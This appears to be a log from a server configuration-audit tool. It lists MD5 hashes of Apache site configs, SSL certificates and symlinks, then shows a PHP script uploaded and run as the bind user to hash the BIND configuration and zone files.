MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_version2_care.conf)= ff23f7a2d96d87d772f445dfadbc35ea
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/vela_www_work.conf)= 9de99a03e638a82e380c273a081ca88e
MD5(/etc/apache2/sites-available/myapp_ma2-anar_care.conf)= 3bd9b35cc0334d04416783b64b79b84d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-chel_care.conf)= efb80d5fec224d615671984258e498fb
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-vasc_care.conf)= 34e2c1d81eb727d90d54fb5afa42d125
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anfu_care.conf)= b745c696ba612a329dfbc4edf898a93b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-asst_care.conf)= e5fa96cbd4947b9dedb8efa1ceea7249
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-mtfp_care.conf)= 37477599b957673cc4d4279b50753c12
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-lc_care.conf)= b90a1a0d4be5266bf921d7647b7ebfff
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-hind_care.conf)= 0c1ebefc6c05b46eab95dd93ac47378a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anfr_care.conf)= 88e6b02a3c208f67ff01e9b8a76166b2
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_shop_co.conf)= 9f3aa7a2098d3966eed689f608e572f4
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99)= 1d0a6381e5455ced32411ebe9f1a8b48
MD5(/etc/apache2/sites-available/myapp_pai-lsst_care.conf)= 1e2061bfec93e17d29d5125a418a361b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 9950eb186b95ec495ff6aedd98d4d484
MD5(/etc/apache2/sites-available/myapp_ma1-sspr_care.conf)= a23003bbe9e71b851e4e6a89a58b4819
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-fass_care.conf)= d299a5e4da71b5ad9eff39af7a264c65
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-vasr_care.conf)= b434d2e01d9387e49b2619e932405dc7
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-rco_care.conf)= 269211c1701feb99a20a8c67e9540f42
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientappsinc_store_com.conf)= 1d8a3025bd3f4b00f12b63b873e5d7e9
MD5(/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt)= 7f49184d8593902d56db555fb7db4254
MD5(/etc/apache2/sites-available/myapp_ma2-mdfu_care.conf)= 1b08c512b82461a3dc0be39de9e9fb80
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lsg_care.conf)= 4649593cb4ac7ab982dc0c5c9d2d5e4d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-shem_care.conf)= 938583f4e82b2fbe8a60d24671b9eeb3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ropn_care.conf)= a93e624ddc0a275ad3c2ff7c0c848c38
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/patientapps_go_net.conf)= 546e95ee7a00039128d331094467c2cb
MD5(/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt)= 1ee2f6edf44983b67e7ccd459d5458ce
MD5(/etc/apache2/sites-available/myapp_ma1-cybb_care.conf)= 07d445cb4f45e8e9b44b4abb4dc66dca
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_cn-dego_care.conf)= eb779095289e49c995aa6563f82ae687
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-pcnl_care.conf)= 12b1743e8772fcbaac5bf1a629f1345e
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-infp_care.conf)= 6b0f9394ecf801c495b23814f5e0f0fa
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-acrp_care.conf)= 80fd24cd0852534d517e2ba724d51bf1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anfr_care.conf)= 77427efebdb964e7b3164a9c802ff360
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-turp_care.conf)= 060336712fb7ee3f2edc69864acbf09b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-tylo_care.conf)= a23abb2e317f1150b1c6c623ba29ab5c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-pfer_care.conf)= 92ebb17024ab864649d754dd80db984d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-acrc_care.conf)= d0cd3cd7094032410b6b1a616a559e9b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anrp_care.conf)= f255d57f513cabd3c577172f85ee5bb3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_www_net.conf)= 6492b2dcd2c18931d5cfaae3f999142f
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt)= e61219922eedac5569718d2cb579adb0
MD5(/etc/apache2/sites-available/myapp_ma1-osbp_care.conf)= d8eeb1d9b64757fa2860f7462aa0e04d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-ldhr_care.conf)= 79cc94287fb48b9dce7bd13368e5e26a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-rcl_care.conf)= 1ba64d3689ac8e3c55769f24cd05c1b0
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-rcl.conf)= 56ef59551907423a50d3f68facc29e50
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_portal_net.conf)= 155ece288d71a7aee0c487d9414d5b5b
MD5(/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt)= fad95c18f0f2cdecbc7b1b41502841ff
MD5(/etc/apache2/sites-available/myapp_pai-lsg-s_care.conf)= 07c0074c07d2fdaf426d47d73329446f
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-octf_care.conf)= e3d1d23858ff5fe1b4b09e3e9bc84bcc
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-epas_care.conf)= bb69149b2accf0666dadf4fcf2dff87f
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-tosr_care.conf)= f519fcea1b0b6978ea8466cc7952c051
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
link(/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf)= /etc/apache2/sites-available/myapp_ma2-mtfp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf)= /etc/apache2/sites-available/myapp_ma1-acrp_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf)= /etc/apache2/sites-available/myapp_sma1-lrygb_care.conf
link(/etc/apache2/sites-enabled/patientapps_test_co.conf)= /etc/apache2/sites-available/patientapps_test_co.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf)= /etc/apache2/sites-available/myapp_ma1-tyto_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf)= /etc/apache2/sites-available/myapp_ma1-ldhr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf)= /etc/apache2/sites-available/myapp_ma2-lcl_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf)= /etc/apache2/sites-available/myapp_sma1-lgb_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf)= /etc/apache2/sites-available/myapp_ma2-buni_care.conf
link(/etc/apache2/sites-enabled/001-myapp_www_care.conf)= /etc/apache2/sites-available/001-myapp_www_care.conf
link(/etc/apache2/sites-enabled/hostz_condor_org.conf)= /etc/apache2/sites-available/hostz_condor_org.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf)= /etc/apache2/sites-available/myapp_ma1-anin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf)= /etc/apache2/sites-available/myapp_ma1-mvrc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf)= /etc/apache2/sites-available/myapp_ma1-utfa_care.conf
link(/etc/apache2/sites-enabled/myapp_d-oak_care.conf)= /etc/apache2/sites-available/myapp_d-oak_care.conf
link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2/sites-available/patientapps_athenahealth_net.conf
link(/etc/apache2/sites-enabled/patientapps_cerner_net.conf)= /etc/apache2/sites-available/patientapps_cerner_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf)= /etc/apache2/sites-available/myapp_ma1-ovin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf)= /etc/apache2/sites-available/myapp_ma1-ankp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf)= /etc/apache2/sites-available/myapp_ma2-anfu_care.conf
link(/etc/apache2/sites-enabled/patientapps_audio_net.conf)= /etc/apache2/sites-available/patientapps_audio_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf)= /etc/apache2/sites-available/myapp_ma1-savr_care.conf
link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2/sites-available/patientappsinc_www_com.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf)= /etc/apache2/sites-available/myapp_ma2-anin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf)= /etc/apache2/sites-available/myapp_ma1-chel_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf)= /etc/apache2/sites-available/myapp_ma1-rorp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf)= /etc/apache2/sites-available/myapp_ma1-prls_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf)= /etc/apache2/sites-available/myapp_ma1-lsst_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf)= /etc/apache2/sites-available/myapp_pai-ctsr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf)= /etc/apache2/sites-available/myapp_ma1-arcr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf)= /etc/apache2/sites-available/myapp_ma2-hamm_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf)= /etc/apache2/sites-available/myapp_ma1-dego_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf)= /etc/apache2/sites-available/myapp_ma2-anrp_care.conf
link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2/sites-available/patientapps_pai_net.conf
link(/etc/apache2/sites-enabled/myapp_test_care.conf)= /etc/apache2/sites-available/myapp_test_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf)= /etc/apache2/sites-available/myapp_ma1-typa_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf)= /etc/apache2/sites-available/myapp_ma1-larn_care.conf
link(/etc/apache2/sites-enabled/myapp_version2_care.conf)= /etc/apache2/sites-available/myapp_version2_care.conf
link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2/sites-available/vela_www_work.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf)= /etc/apache2/sites-available/myapp_ma2-anar_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf)= /etc/apache2/sites-available/myapp_ma2-chel_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf)= /etc/apache2/sites-available/myapp_ma1-vasc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf)= /etc/apache2/sites-available/myapp_ma1-anfu_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf)= /etc/apache2/sites-available/myapp_ma1-asst_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf)= /etc/apache2/sites-available/myapp_ma1-mtfp_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-lc_care.conf)= /etc/apache2/sites-available/myapp_pai-lc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf)= /etc/apache2/sites-available/myapp_ma2-hind_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf)= /etc/apache2/sites-available/myapp_ma2-anfr_care.conf
link(/etc/apache2/sites-enabled/patientapps_shop_co.conf)= /etc/apache2/sites-available/patientapps_shop_co.conf
link(/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf)= /etc/apache2/sites-available/myapp_pai-lsst_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf)= /etc/apache2/sites-available/myapp_ma1-sspr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf)= /etc/apache2/sites-available/myapp_ma1-fass_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf)= /etc/apache2/sites-available/myapp_ma1-vasr_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-rco_care.conf)= /etc/apache2/sites-available/myapp_pai-rco_care.conf
link(/etc/apache2/sites-enabled/patientappsinc_store_com.conf)= /etc/apache2/sites-available/patientappsinc_store_com.conf
link(/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf)= /etc/apache2/sites-available/myapp_ma2-mdfu_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf)= /etc/apache2/sites-available/myapp_sma1-lsg_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf)= /etc/apache2/sites-available/myapp_ma1-shem_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf)= /etc/apache2/sites-available/myapp_ma1-ropn_care.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/patientapps_go_net.conf)= /etc/apache2/sites-available/patientapps_go_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf)= /etc/apache2/sites-available/myapp_ma1-cybb_care.conf
link(/etc/apache2/sites-enabled/myapp_cn-dego_care.conf)= /etc/apache2/sites-available/myapp_cn-dego_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf)= /etc/apache2/sites-available/myapp_sma1-pcnl_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf)= /etc/apache2/sites-available/myapp_ma1-infp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf)= /etc/apache2/sites-available/myapp_ma2-acrp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf)= /etc/apache2/sites-available/myapp_ma1-anfr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf)= /etc/apache2/sites-available/myapp_ma1-turp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf)= /etc/apache2/sites-available/myapp_ma1-tylo_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf)= /etc/apache2/sites-available/myapp_ma1-pfer_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf)= /etc/apache2/sites-available/myapp_pai-acrc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf)= /etc/apache2/sites-available/myapp_ma1-anrp_care.conf
link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2/sites-available/patientapps_www_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf)= /etc/apache2/sites-available/myapp_ma1-osbp_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf)= /etc/apache2/sites-available/myapp_pai-ldhr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf)= /etc/apache2/sites-available/myapp_ma2-rcl_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-rcl.conf)= /etc/apache2/sites-available/myapp_ma1-rcl.conf
link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2/sites-available/patientapps_portal_net.conf
link(/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf)= /etc/apache2/sites-available/myapp_pai-lsg-s_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf)= /etc/apache2/sites-available/myapp_ma1-octf_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf)= /etc/apache2/sites-available/myapp_ma1-epas_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf)= /etc/apache2/sites-available/myapp_ma1-tosr_care.conf




STDERR:
/tmp/pkp722037:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-03-14 11:48:51: Establishing a connection
2026-03-14 11:48:51: 

PUT: /tmp/pkp876301

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:48:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp876301; rm /tmp/pkp876301'

2026-03-14 11:48:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
